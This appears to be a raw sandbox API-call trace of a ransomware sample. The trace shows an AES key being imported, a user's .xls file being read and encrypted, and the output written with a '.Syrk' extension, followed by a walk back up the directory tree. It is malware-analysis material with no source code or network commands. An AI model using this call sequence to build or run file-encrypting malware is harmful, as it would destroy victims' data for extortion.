OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0209.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0209.827] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.827] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0209.827] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0209.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0209.827] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.827] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0209.828] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0209.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0209.828] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.828] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0209.828] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0209.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0209.828] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.828] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0209.828] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0209.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0209.829] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.829] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0209.829] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0209.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0209.829] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.829] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0209.829] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0209.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0209.829] SystemFunction041 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.830] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0209.830] SystemFunction040 (in: Memory=0x5c91ce4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91ce4) returned 0x0 [0209.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0209.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0209.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0209.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0209.830] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.831] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0209.831] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0209.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0209.831] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.831] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0209.831] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0209.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0209.831] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.831] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0209.831] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0209.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0209.832] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.832] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0209.832] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.832] EtwEventActivityIdControl () returned 0x0 [0209.832] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0209.832] SystemFunction041 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.833] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0209.833] SystemFunction040 (in: Memory=0x3da8dc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da8dc) returned 0x0 [0209.835] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4cd48) returned 1 [0209.838] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x247e78c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c69440) returned 1 [0209.839] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0209.839] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.840] EtwEventActivityIdControl () returned 0x0 [0209.840] EtwEventActivityIdControl () returned 0x0 [0209.840] EtwEventActivityIdControl () returned 0x0 [0209.888] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls")) returned 0x20 [0209.893] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls")) returned 0x20 [0209.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0209.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", lpFilePart=0x0) returned 0x57 [0209.894] EtwEventActivityIdControl () returned 0x0 [0209.894] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.895] EtwEventActivityIdControl () returned 0x0 [0209.895] EtwEventActivityIdControl () returned 0x0 [0209.895] EtwEventActivityIdControl () returned 0x0 [0209.896] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0209.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", lpFilePart=0x0) returned 0x57 [0209.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0209.898] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0209.898] GetFileType (hFile=0x42c) returned 0x1 [0209.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0209.898] GetFileType (hFile=0x42c) returned 0x1 [0209.898] EtwEventActivityIdControl () returned 0x0 [0209.898] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.899] EtwEventActivityIdControl () returned 0x0 [0209.899] EtwEventActivityIdControl () returned 0x0 [0209.899] EtwEventActivityIdControl () returned 0x0 [0209.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5d [0209.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk", nBufferLength=0x5d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk", lpFilePart=0x0) returned 0x5c [0209.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0209.901] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0209.903] GetFileType (hFile=0x44c) returned 0x1 [0209.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0209.904] GetFileType (hFile=0x44c) returned 0x1 [0209.904] EtwEventActivityIdControl () returned 0x0 [0209.904] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x2493d28 | out: pbBuffer=0x2493d28) returned 1 [0209.905] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0209.905] CryptDuplicateKey (in: hKey=0x5c69440, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c69500) returned 1 [0209.905] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0209.905] CryptSetKeyParam (hKey=0x5c69500, dwParam=0x4, pbData=0x2495054*=0x1, dwFlags=0x0) returned 1 [0209.905] CryptSetKeyParam (hKey=0x5c69500, dwParam=0x1, pbData=0x2495020, dwFlags=0x0) returned 1 [0209.905] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.906] EtwEventActivityIdControl () returned 0x0 [0209.906] EtwEventActivityIdControl () returned 0x0 [0209.906] EtwEventActivityIdControl () returned 0x0 [0209.908] EtwEventActivityIdControl () returned 0x0 [0209.909] ReadFile (in: hFile=0x42c, lpBuffer=0x2497c9c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x2497c9c*, lpNumberOfBytesRead=0x5a2e6fc*=0xc3ea, lpOverlapped=0x0) returned 1 [0209.912] CryptEncrypt (in: hKey=0x5c69500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24abcb4*, pdwDataLen=0x5a2e6f0*=0xc3e0, dwBufLen=0xc3e0 | out: pbData=0x24abcb4*, pdwDataLen=0x5a2e6f0*=0xc3e0) returned 1 [0209.913] WriteFile (in: hFile=0x44c, lpBuffer=0x2493e04*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2493e04*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0209.914] WriteFile (in: hFile=0x44c, lpBuffer=0x24acca0*, nNumberOfBytesToWrite=0xb3f4, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x24acca0*, lpNumberOfBytesWritten=0x5a2e6d4*=0xb3f4, lpOverlapped=0x0) returned 1 [0209.916] ReadFile (in: hFile=0x42c, lpBuffer=0x2497c9c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x2497c9c*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0209.916] CryptEncrypt (in: hKey=0x5c69500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24b80a0*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x24b80a0*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0209.916] CryptEncrypt (in: hKey=0x5c69500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24b80bc*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x24b80bc*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0209.916] WriteFile (in: hFile=0x44c, lpBuffer=0x2493e04*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x2493e04*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0209.916] CloseHandle (hObject=0x44c) returned 1 [0209.919] CloseHandle (hObject=0x42c) returned 1 [0210.571] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0210.572] EtwEventActivityIdControl () returned 0x0 [0210.572] EtwEventActivityIdControl () returned 0x0 [0210.572] EtwEventActivityIdControl () returned 0x0 [0210.581] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls")) returned 0x20 [0210.586] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x58 [0210.588] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", nBufferLength=0x58, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls", lpFilePart=0x0) returned 0x57 [0210.590] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0210.590] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0210.590] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0210.590] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0210.590] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0210.591] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0210.591] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0210.591] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0210.591] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0210.592] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0210.592] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0210.592] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0210.592] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0210.592] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0210.592] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0210.592] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0210.592] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0210.593] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0210.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0210.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0210.593] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0210.593] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0210.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0210.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0210.593] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0210.594] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0210.594] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0210.594] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", lpFilePart=0x0) returned 0x40 [0210.594] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\2NDvK0UV6C93Or2y33.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\2ndvk0uv6c93or2y33.xls")) returned 0x20 